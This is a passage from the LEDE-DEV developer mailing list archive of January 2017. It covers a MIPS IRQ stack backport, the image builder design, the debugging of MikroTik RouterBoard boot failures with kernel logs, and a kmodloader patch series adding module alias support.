From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 11 Jan 2017 10:59:40 +0100
Subject: [LEDE-DEV] per-cpu IRQ stack on MIPS
In-Reply-To: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>
References: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>
Message-ID: <f6ea2c92-8b9a-ab03-a77c-d489b8328f04@nbd.name>

On 2017-01-11 00:34, Jason A. Donenfeld wrote:
> Hey folks,
> 
> You might considering backporting this patchset to the LEDE/OpenWRT kernel:
> 
> http://www.spinics.net/lists/mips/msg65937.html
> 
> It prevents crashes when lots of different networking drivers are
> stacked on top of eachother, like gre+l2tp+somethingelse.
I've pushed the backport of these changes to my staging tree at
https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary

I've already tested it on a MT7621 board and it works fine, please test
it on more devices.

- Felix



From jo at mein.io  Wed Jan 11 02:00:04 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Wed, 11 Jan 2017 11:00:04 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <20170110232246.GB32427@ugly>
References: <20170108125309.GB8750@ugly>
 <6fa211f5-f4d6-3aa5-f392-6e2a48e7f458@mein.io> <20170110232246.GB32427@ugly>
Message-ID: <e9516790-9276-ab23-cfc7-b33e71ee2ee8@mein.io>

Hi,

> anyway, specifically regarding the existing imagebuilder, i'm not really
> satisfied. it's a big download which is specific to each target, and
> requires pretty much a complete build environment.

It does not require a complete build environment. All it actually needs
is a DTC compiler and the ./staging_dir/host/bin executables.

> of course, it's the
> obvious choice to minimize development effort, but as a user i'd expect
> something ... nicer.
> 
> in my understanding, sysupgrade images (and uimages) are a pretty
> uniform archive format,

Actually they're not. There are factory and sysupgrade images which are
renamed tars, there are trx images, there are FIT images, proprietary
vendor formats, images containing images and whole lot of other types.

> a single generic tool should be able to work with all targets, over
> extended periods of time, and would need to support a rather limited
> number of features to accomplish the goal of building images from the
> "regular" image+package downloads that are already available.

The only real solution is something GNU make based in order to be able
to re-use the image format knowledge encoded in the per target
Makefiles. Anything else requires duplication of the image build logic
which can, and will, quickly diverge from whats in Master.

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170111/d66cb223/attachment.sig>

From cezary.jackiewicz at gmail.com  Wed Jan 11 02:17:35 2017
From: cezary.jackiewicz at gmail.com (Cezary Jackiewicz)
Date: Wed, 11 Jan 2017 11:17:35 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
 <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
 <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>
Message-ID: <20170111111735.5e8614fd@samsung>

Dnia 2017-01-11, o godz. 10:45:35
Felix Fietkau <nbd at nbd.name> napisa?(a):

> Cezary, please try the latest version from my staging tree, I just
> pushed a fix for this regression that should hopefully make it work again.



[    8.001462] m25p80 spi0.0: pm25lv512 (64 Kbytes)
[    8.056892] Creating 4 MTD partitions on "spi0.0":
[    8.114276] 0x000000000000-0x00000000b000 : "routerboot"
[    8.182444] 0x00000000b000-0x00000000c000 : "hard_config"
[    8.249876] 0x00000000d000-0x00000000f000 : "bios"
[    8.310003] 0x00000000f000-0x000000010000 : "soft_config"
[    8.377657] NAND flash driver for RouterBoard 4xx series version 0.2.0
[    8.456069] rb4xx-nand rb4xx-nand: unable to request gpio 37
...
[   10.031008] NAND flash driver for RouterBoard 4xx series version 0.2.0
[   10.109408] rb4xx-nand rb4xx-nand: unable to request gpio 37
[   10.182162] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[   10.263224] ehci-platform: EHCI generic platform driver

from:

commit e3b288aecf47947777ba20cc08a10aa544f40237
Author: Felix Fietkau <nbd at nbd.name>
Date:   Wed Jan 11 10:42:04 2017 +0100

    ar71xx: fix RB4xx CPLD SPI device mode setup
    
    Commit af79fdbe4af3 changed the code to use tx_nbits for dual SPI tx
    transfers, however the SPI stack only allows this when the device mode
    includes the relevant bit as well
    
    Signed-off-by: Felix Fietkau <nbd at nbd.name>



-- 
Pozdrawiam,
 Cezary Jackiewicz


From nbd at nbd.name  Wed Jan 11 03:00:17 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 11 Jan 2017 12:00:17 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <20170111111735.5e8614fd@samsung>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
 <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
 <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>
 <20170111111735.5e8614fd@samsung>
Message-ID: <87bfe000-4fa1-8662-0f8f-ae452f885b2f@nbd.name>

On 2017-01-11 11:17, Cezary Jackiewicz wrote:
> Dnia 2017-01-11, o godz. 10:45:35
> Felix Fietkau <nbd at nbd.name> napisa?(a):
> 
>> Cezary, please try the latest version from my staging tree, I just
>> pushed a fix for this regression that should hopefully make it work again.
> 
> 
> 
> [    8.001462] m25p80 spi0.0: pm25lv512 (64 Kbytes)
> [    8.056892] Creating 4 MTD partitions on "spi0.0":
> [    8.114276] 0x000000000000-0x00000000b000 : "routerboot"
> [    8.182444] 0x00000000b000-0x00000000c000 : "hard_config"
> [    8.249876] 0x00000000d000-0x00000000f000 : "bios"
> [    8.310003] 0x00000000f000-0x000000010000 : "soft_config"
> [    8.377657] NAND flash driver for RouterBoard 4xx series version 0.2.0
> [    8.456069] rb4xx-nand rb4xx-nand: unable to request gpio 37
Pushed another fix, please test the latest version again.

Thanks,

- Felix



From cezary.jackiewicz at gmail.com  Wed Jan 11 03:24:13 2017
From: cezary.jackiewicz at gmail.com (Cezary Jackiewicz)
Date: Wed, 11 Jan 2017 12:24:13 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <87bfe000-4fa1-8662-0f8f-ae452f885b2f@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
 <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
 <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>
 <20170111111735.5e8614fd@samsung>
 <87bfe000-4fa1-8662-0f8f-ae452f885b2f@nbd.name>
Message-ID: <20170111122413.32ac8517@samsung>

Dnia 2017-01-11, o godz. 12:00:17
Felix Fietkau <nbd at nbd.name> napisa?(a):

> Pushed another fix, please test the latest version again.

Still nothing. Now I have reboot:

RouterBOOT backup booter 3.22

RouterBoard 411U

CPU frequency: 300 MHz
  Memory size:  32 MiB
    NAND size: 128 MiB

Press any key within 2 seconds to enter setup
trying bootp protocol... OK
Got IP address: 192.168.1.134
resolved mac address E8:11:32:99:3D:A0
Gateway: 192.168.1.166
transfer started ................................................ transfer ok, time=2.83s
setting up elf image... OK
jumping to kernel code
[    0.000000] Linux version 4.4.40 (cezary at samsung) (gcc version 5.4.0 (LEDE GCC 5.4.0 r2900-e5aeb4a) ) #0 Wed Jan 11 11:01:07 2017
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU0 revision is: 00019374 (MIPS 24Kc)
[    0.000000] SoC: Atheros AR7130 rev 2
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 02000000 @ 00000000 (usable)
[    0.000000] User-defined physical RAM map:
[    0.000000]  memory: 02000000 @ 00000000 (usable)
[    0.000000] Initrd not found or empty - disabling initrd
[    0.000000] No valid device tree found, continuing without
[    0.000000] Zone ranges:
[    0.000000]   Normal   [mem 0x0000000000000000-0x0000000001ffffff]
[    0.000000] Movable zone start for each node
[    0.000000] Early memory node ranges
[    0.000000]   node   0: [mem 0x0000000000000000-0x0000000001ffffff]
[    0.000000] Initmem setup node 0 [mem 0x0000000000000000-0x0000000001ffffff]
[    0.000000] Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes.
[    0.000000] Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 8128
[    0.000000] Kernel command line: parts=1 boot_part_size=4194304 gpio=3903 HZ=150000000 mem=32M kmac=4C:5E:0C:31:B3:F5 board=411U hw_opt=00000000 boot=0 mlc=8 rootfstype=squashfs noinitrd
[    0.000000] PID hash table entries: 128 (order: -3, 512 bytes)
[    0.000000] Dentry cache hash table entries: 4096 (order: 2, 16384 bytes)
[    0.000000] Inode-cache hash table entries: 2048 (order: 1, 8192 bytes)
[    0.000000] Writing ErrCtl register=00000000
[    0.000000] Readback ErrCtl register=00000000
[    0.000000] Memory: 25568K/32768K available (3181K kernel code, 171K rwdata, 788K rodata, 2124K init, 198K bss, 7200K reserved, 0K cma-reserved)
[    0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] NR_IRQS:51
[    0.000000] Clocks: CPU:300.000MHz, DDR:300.000MHz, AHB:150.000MHz, Ref:40.000MHz
[    0.000000] clocksource: MIPS: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 12741736309 ns
[    0.000016] sched_clock: 32 bits at 150MHz, resolution 6ns, wraps every 14316557820ns
[    0.007903] Calibrating delay loop... 199.06 BogoMIPS (lpj=995328)
[    0.090555] pid_max: default: 32768 minimum: 301
[    0.095378] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
[    0.101992] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
[    0.113543] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[    0.124671] NET: Registered protocol family 16
[    0.131666] MIPS: machine is MikroTik RouterBOARD 411U
[    0.656484] registering PCI controller with io_map_base unset
[    2.570685] PCI host bridge to bus 0000:00
[    2.574901] pci_bus 0000:00: root bus resource [mem 0x10000000-0x16ffffff]
[    2.581763] pci_bus 0000:00: root bus resource [io  0x0000]
[    2.587346] pci_bus 0000:00: root bus resource [??? 0x00000000 flags 0x0]
[    2.594120] pci_bus 0000:00: No busn resource found for root bus, will use [bus 00-ff]
[    2.603605] clocksource: Switched to clocksource MIPS
[    2.610806] NET: Registered protocol family 2
[    2.616679] TCP established hash table entries: 1024 (order: 0, 4096 bytes)
[    2.623737] TCP bind hash table entries: 1024 (order: 0, 4096 bytes)
[    2.630119] TCP: Hash tables configured (established 1024 bind 1024)
[    2.636670] UDP hash table entries: 256 (order: 0, 4096 bytes)
[    2.642526] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
[    2.649242] NET: Registered protocol family 1
[    7.501764] futex hash table entries: 256 (order: -1, 3072 bytes)
[    7.508099] Crashlog allocated RAM at address 0x1f00000
[    7.536157] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[    7.544143] io scheduler noop registered
[    7.548089] io scheduler deadline registered (default)
[    7.553781] Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled
[    7.560837] console [ttyS0] disabled
[    7.584499] serial8250.0: ttyS0 at MMIO 0x18020000 (irq = 11, base_baud = 9375000) is a 16550A


RouterBOOT booter 3.22

RouterBoard 411U

CPU frequency: 300 MHz
  Memory size:  32 MiB
    NAND size: 128 MiB

Press any key within 2 seconds to enter setup.

-- 
Pozdrawiam,
 Cezary Jackiewicz


From nbd at nbd.name  Wed Jan 11 03:27:48 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 11 Jan 2017 12:27:48 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <20170111122413.32ac8517@samsung>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
 <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
 <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>
 <20170111111735.5e8614fd@samsung>
 <87bfe000-4fa1-8662-0f8f-ae452f885b2f@nbd.name>
 <20170111122413.32ac8517@samsung>
Message-ID: <6013a471-9444-1a8f-4362-f50d324200e1@nbd.name>

On 2017-01-11 12:24, Cezary Jackiewicz wrote:
> Dnia 2017-01-11, o godz. 12:00:17
> Felix Fietkau <nbd at nbd.name> napisa?(a):
> 
>> Pushed another fix, please test the latest version again.
> 
> Still nothing. Now I have reboot:
Seems that the upstream spi-rb4xx.c driver does not work as-is. I've
pushed a less intrusive fix now.

- Felix


From yszhou4tech at gmail.com  Wed Jan 11 03:54:04 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:54:04 +0800
Subject: [LEDE-DEV] [PATCH ubox 0/6] kmodloader: add module alias support
Message-ID: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>

Aliases are essential information for working with kernel modules.  Netfilter
subsystem will request for ipt_hashlimit and ip6t_hashlimit respectively when
called with

	xt_request_find_match(NFPROTO_IPV{4,6}, "hashlimit", 1)
	
The kernel __request_module() will then invoke user mode modprobe to load them

	/sbin/modprobe -q -- ipt_hashlimit
	/sbin/modprobe -q -- ip6t_hashlimit

where ipt_hashlimit and ip6t_hashlimit are aliases of xt_hashlimit

The patch depends on another patch in the build system to restore alias info
to kernel modules.

Yousong Zhou (6):
  kmodloader: remove redundant glob wildcard char
  kmodloader: log to kmsg when loading directories of modules
  kmodloader: modprobe: skip possible command line arguments
  kmodloader: fix out-of-bound access when parsing .modinfo
  kmodloader: add module alias awareness
  kmodloader: make insert_module() idempotent

 kmodloader.c | 185 +++++++++++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 154 insertions(+), 31 deletions(-)

-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:54:05 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:54:05 +0800
Subject: [LEDE-DEV] [PATCH ubox 1/6] kmodloader: remove redundant glob
 wildcard char
In-Reply-To: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484135650-16962-2-git-send-email-yszhou4tech@gmail.com>

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/kmodloader.c b/kmodloader.c
index f80835a..9fe7d7f 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -762,7 +762,7 @@ static int main_modprobe(int argc, char **argv)
 static int main_loader(int argc, char **argv)
 {
 	int gl_flags = GLOB_NOESCAPE | GLOB_MARK;
-	char *dir = "/etc/modules.d/*";
+	char *dir = "/etc/modules.d/";
 	struct module *m;
 	glob_t gl;
 	char *path;
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:54:06 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:54:06 +0800
Subject: [LEDE-DEV] [PATCH ubox 2/6] kmodloader: log to kmsg when loading
 directories of modules
In-Reply-To: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484135650-16962-3-git-send-email-yszhou4tech@gmail.com>

syslog may not be ready yet before PREINIT

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 9fe7d7f..b20de6e 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -27,7 +27,6 @@
 #include <string.h>
 #include <sys/stat.h>
 #include <fcntl.h>
-#include <syslog.h>
 #include <libgen.h>
 #include <glob.h>
 #include <elf.h>
@@ -785,7 +784,7 @@ static int main_loader(int argc, char **argv)
 		return -1;
 	}
 
-	syslog(LOG_INFO, "kmodloader: loading kernel modules from %s\n", path);
+	ULOG_INFO("loading kernel modules from %s\n", path);
 
 	if (glob(path, gl_flags, NULL, &gl) < 0)
 		goto out;
@@ -836,6 +835,8 @@ static int main_loader(int argc, char **argv)
 		avl_for_each_element(&modules, m, avl)
 			if ((m->state == PROBE) || (m->error))
 				ULOG_ERR("- %s - %d\n", m->name, deps_available(m, 1));
+	} else {
+		ULOG_INFO("done loading kernel modules from %s\n", path);
 	}
 
 out:
@@ -881,5 +882,6 @@ int main(int argc, char **argv)
 	if (!strcmp(exec, "modprobe"))
 		return main_modprobe(argc, argv);
 
+	ulog_open(ULOG_KMSG, LOG_USER, "kmodloader");
 	return main_loader(argc, argv);
 }
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:54:07 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:54:07 +0800
Subject: [LEDE-DEV] [PATCH ubox 3/6] kmodloader: modprobe: skip possible
 command line arguments
In-Reply-To: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484135650-16962-4-git-send-email-yszhou4tech@gmail.com>

The kernel may invocate user mode modprobe with the following scheme

    modprobe -q -- <module_name>

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index b20de6e..b5dc4d1 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -719,8 +719,17 @@ static int main_modprobe(int argc, char **argv)
 {
 	struct module *m;
 	char *name;
+	char *mod = NULL;
+	int i;
 
-	if (argc != 2)
+	if (argc < 2)
+		return print_usage("modprobe");
+	for (i = 1; i < argc; i++)
+		if (argv[i][0] != '-') {
+			mod = argv[i];
+			break;
+		}
+	if (!mod)
 		return print_usage("modprobe");
 
 	if (scan_loaded_modules())
@@ -729,7 +738,7 @@ static int main_modprobe(int argc, char **argv)
 	if (scan_module_folders())
 		return -1;
 
-	name = get_module_name(argv[1]);
+	name = get_module_name(mod);
 	m = find_module(name);
 	if (m && m->state == LOADED) {
 		ULOG_ERR("%s is already loaded\n", name);
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:54:08 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:54:08 +0800
Subject: [LEDE-DEV] [PATCH ubox 4/6] kmodloader: fix out-of-bound access
 when parsing .modinfo
In-Reply-To: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484135650-16962-5-git-send-email-yszhou4tech@gmail.com>

Fixes output of "modinfo nf_conntrack_ipv4"

    module:         /lib/modules/4.4.40/nf_conntrack_ipv4.ko
    license:        GPL
    alias:          ip_conntrack
    alias:          nf_conntrack-2
    depends:        nf_conntrack,nf_defrag_ipv4
    src:            %pI4 dst=%pI4

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index b5dc4d1..7ea5544 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -302,12 +302,14 @@ static struct module* get_module_info(const char *module, const char *name)
 	}
 
 	strings = map + offset;
-	while (strings && (strings < map + offset + size)) {
+	while (true) {
 		char *sep;
 		int len;
 
 		while (!strings[0])
 			strings++;
+		if (strings >= map + offset + size)
+			break;
 		sep = strstr(strings, "=");
 		if (!sep)
 			break;
@@ -410,12 +412,14 @@ static int print_modinfo(char *module)
 
 	strings = map + offset;
 	printf("module:\t\t%s\n", module);
-	while (strings && (strings < map + offset + size)) {
+	while (true) {
 		char *dup = NULL;
 		char *sep;
 
 		while (!strings[0])
 			strings++;
+		if (strings >= map + offset + size)
+			break;
 		sep = strstr(strings, "=");
 		if (!sep)
 			break;
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:54:09 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:54:09 +0800
Subject: [LEDE-DEV] [PATCH ubox 5/6] kmodloader: add module alias awareness
In-Reply-To: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
References: <1484135650-16962-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1484135650-16962-6-git-send-email-yszhou4tech@gmail.com>

To achieve this, the following changes are made

 - scan module folders before scaning loaded modules
 - struct module was splited into struct module_node for the avl tree
   and struct module for storing actual info about modules

The other minor fix is that module.opts is now freed in free_modules()
when appliable

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 kmodloader.c | 151 ++++++++++++++++++++++++++++++++++++++++++++++++++---------
 1 file changed, 128 insertions(+), 23 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 7ea5544..e1e4e68 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -45,22 +45,31 @@ enum {
 };
 
 struct module {
-	struct avl_node avl;
-
 	char *name;
 	char *depends;
 	char *opts;
+	char **aliases;
+	int naliases;
 
 	int size;
 	int usage;
 	int state;
 	int error;
+	int refcnt;			/* number of references from module_node.m */
+};
+
+struct module_node {
+	struct avl_node avl;
+	struct module *m;
+	bool is_alias;
 };
 
 static struct avl_tree modules;
 
 static char **module_folders = NULL;
 
+static void free_module(struct module *m);
+
 static int init_module_folders(void)
 {
 	int n = 0;
@@ -106,16 +115,26 @@ static int init_module_folders(void)
 
 static struct module *find_module(const char *name)
 {
-	struct module *m;
-	return avl_find_element(&modules, name, m, avl);
+	struct module_node *mn;
+	mn = avl_find_element(&modules, name, mn, avl);
+	if (mn)
+		return mn->m;
+	else
+		return NULL;
 }
 
 static void free_modules(void)
 {
-	struct module *m, *tmp;
+	struct module_node *mn, *tmp;
+
+	avl_remove_all_elements(&modules, mn, avl, tmp) {
+		struct module *m = mn->m;
 
-	avl_remove_all_elements(&modules, m, avl, tmp)
-		free(m);
+		m->refcnt -= 1;
+		if (m->refcnt == 0)
+			free_module(m);
+		free(mn);
+	}
 }
 
 static char* get_module_path(char *name)
@@ -208,19 +227,43 @@ static int elf_find_section(char *map, const char *section, unsigned int *offset
 	return -1;
 }
 
+static struct module_node *
+alloc_module_node(const char *name, struct module *m, bool is_alias)
+{
+	struct module_node *mn;
+	char *_name;
+
+	mn = calloc_a(sizeof(*mn),
+		&_name, strlen(name) + 1);
+	if (mn) {
+		mn->avl.key = strcpy(_name, name);
+		mn->m = m;
+		mn->is_alias = is_alias;
+		avl_insert(&modules, &mn->avl);
+		m->refcnt += 1;
+	}
+	return mn;
+}
+
 static struct module *
-alloc_module(const char *name, const char *depends, int size)
+alloc_module(const char *name, const char * const *aliases, int naliases, const char *depends, int size)
 {
 	struct module *m;
 	char *_name, *_dep;
+	char **_aliases;
+	int i, len_aliases;
 
+	len_aliases = naliases * sizeof(aliases[0]);
+	for (i = 0; i < naliases; i++)
+		len_aliases += strlen(aliases[i]) + 1;
 	m = calloc_a(sizeof(*m),
 		&_name, strlen(name) + 1,
-		&_dep, depends ? strlen(depends) + 2 : 0);
+		&_dep, depends ? strlen(depends) + 2 : 0,
+		&_aliases, len_aliases);
 	if (!m)
 		return NULL;
 
-	m->avl.key = m->name = strcpy(_name, name);
+	m->name = strcpy(_name, name);
 	m->opts = 0;
 
 	if (depends) {
@@ -231,13 +274,40 @@ alloc_module(const char *name, const char *depends, int size)
 			_dep++;
 		}
 	}
-
 	m->size = size;
-	avl_insert(&modules, &m->avl);
+	m->naliases = naliases;
+	if (naliases == 0)
+		m->aliases = NULL;
+	else {
+		char *ptr = (char *)_aliases + naliases * sizeof(_aliases[0]);
+		int len;
+
+		i = 0;
+		do {
+			len = strlen(aliases[i]) + 1;
+			memcpy(ptr, aliases[i], len);
+			_aliases[i] = ptr;
+			ptr += len;
+			i++;
+		} while (i < naliases);
+		m->aliases = _aliases;
+	}
+
+	m->refcnt = 0;
+	alloc_module_node(m->name, m, false);
+	for (i = 0; i < m->naliases; i++)
+		alloc_module_node(m->aliases[i], m, true);
 
 	return m;
 }
 
+static void free_module(struct module *m)
+{
+	if (m->opts)
+		free(m->opts);
+	free(m);
+}
+
 static int scan_loaded_modules(void)
 {
 	size_t buf_len = 0;
@@ -262,7 +332,11 @@ static int scan_loaded_modules(void)
 		if (!m.name || !m.depends)
 			continue;
 
-		n = alloc_module(m.name, m.depends, m.size);
+		n = find_module(m.name);
+		if (!n) {
+			/* possibly a module outside /lib/modules/<ver>/ */
+			n = alloc_module(m.name, NULL, 0, m.depends, m.size);
+		}
 		n->usage = m.usage;
 		n->state = LOADED;
 	}
@@ -277,6 +351,8 @@ static struct module* get_module_info(const char *module, const char *name)
 	int fd = open(module, O_RDONLY);
 	unsigned int offset, size;
 	char *map = MAP_FAILED, *strings, *dep = NULL;
+	const char *aliases[32];
+	int naliases = 0;
 	struct module *m = NULL;
 	struct stat s;
 
@@ -317,10 +393,17 @@ static struct module* get_module_info(const char *module, const char *name)
 		sep++;
 		if (!strncmp(strings, "depends=", len + 1))
 			dep = sep;
+		else if (!strncmp(strings, "alias=", len + 1)) {
+			if (naliases < ARRAY_SIZE(aliases))
+				aliases[naliases++] = sep;
+			else
+				ULOG_WARN("module %s has more than %d aliases: truncated",
+						name, ARRAY_SIZE(aliases));
+		}
 		strings = &sep[strlen(sep)];
 	}
 
-	m = alloc_module(name, dep, s.st_size);
+	m = alloc_module(name, aliases, naliases, dep, s.st_size);
 
 	if (m)
 		m->state = SCANNED;
@@ -530,16 +613,24 @@ static int iterations = 0;
 static int load_modprobe(void)
 {
 	int loaded, todo;
+	struct module_node *mn;
 	struct module *m;
 
-	avl_for_each_element(&modules, m, avl)
+	avl_for_each_element(&modules, mn, avl) {
+		if (mn->is_alias)
+			continue;
+		m = mn->m;
 		if (m->state == PROBE)
 			load_moddeps(m);
+	}
 
 	do {
 		loaded = 0;
 		todo = 0;
-		avl_for_each_element(&modules, m, avl) {
+		avl_for_each_element(&modules, mn, avl) {
+			if (mn->is_alias)
+				continue;
+			m = mn->m;
 			if ((m->state == PROBE) && (!deps_available(m, 0))) {
 				if (!insert_module(get_module_path(m->name), (m->opts) ? (m->opts) : (""))) {
 					m->state = LOADED;
@@ -663,13 +754,17 @@ static int main_rmmod(int argc, char **argv)
 
 static int main_lsmod(int argc, char **argv)
 {
+	struct module_node *mn;
 	struct module *m;
 	char *dep;
 
 	if (scan_loaded_modules())
 		return -1;
 
-	avl_for_each_element(&modules, m, avl)
+	avl_for_each_element(&modules, mn, avl) {
+		if (mn->is_alias)
+			continue;
+		m = mn->m;
 		if (m->state == LOADED) {
 			printf("%-20s%8d%3d ",
 				m->name, m->size, m->usage);
@@ -684,6 +779,7 @@ static int main_lsmod(int argc, char **argv)
 			}
 			printf("\n");
 		}
+	}
 
 	free_modules();
 
@@ -721,6 +817,7 @@ static int main_modinfo(int argc, char **argv)
 
 static int main_modprobe(int argc, char **argv)
 {
+	struct module_node *mn;
 	struct module *m;
 	char *name;
 	char *mod = NULL;
@@ -736,10 +833,10 @@ static int main_modprobe(int argc, char **argv)
 	if (!mod)
 		return print_usage("modprobe");
 
-	if (scan_loaded_modules())
+	if (scan_module_folders())
 		return -1;
 
-	if (scan_module_folders())
+	if (scan_loaded_modules())
 		return -1;
 
 	name = get_module_name(mod);
@@ -760,7 +857,10 @@ static int main_modprobe(int argc, char **argv)
 			ULOG_ERR("%d module%s could not be probed\n",
 			         fail, (fail == 1) ? ("") : ("s"));
 
-			avl_for_each_element(&modules, m, avl)
+			avl_for_each_element(&modules, mn, avl)
+				if (mn->is_alias)
+					continue;
+				m = mn->m;
 				if ((m->state == PROBE) || m->error)
 					ULOG_ERR("- %s\n", m->name);
 		}
@@ -775,6 +875,7 @@ static int main_loader(int argc, char **argv)
 {
 	int gl_flags = GLOB_NOESCAPE | GLOB_MARK;
 	char *dir = "/etc/modules.d/";
+	struct module_node *mn;
 	struct module *m;
 	glob_t gl;
 	char *path;
@@ -787,12 +888,12 @@ static int main_loader(int argc, char **argv)
 	strcpy(path, dir);
 	strcat(path, "*");
 
-	if (scan_loaded_modules()) {
+	if (scan_module_folders()) {
 		free (path);
 		return -1;
 	}
 
-	if (scan_module_folders()) {
+	if (scan_loaded_modules()) {
 		free (path);
 		return -1;
 	}
@@ -845,9 +946,13 @@ static int main_loader(int argc, char **argv)
 		ULOG_ERR("%d module%s could not be probed\n",
 		         fail, (fail == 1) ? ("") : ("s"));
 
-		avl_for_each_element(&modules, m, avl)
+		avl_for_each_element(&modules, mn, avl) {
+			if (mn->is_alias)
+				continue;
+			m = mn->m;
 			if ((m->state == PROBE) || (m->error))
 				ULOG_ERR("- %s - %d\n", m->name, deps_available(m, 1));
+		}
 	} else {
 		ULOG_INFO("done loading kernel modules from %s\n", path);
 	}
-- 
2.6.4



From yszhou4tech at gmail.com  Wed Jan 11 03:54:10 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 19:54:10 +0800
Subject: [LEDE-DEV] [PATCH ubox 6/6] kmodloader: make insert_module()
 idempotent
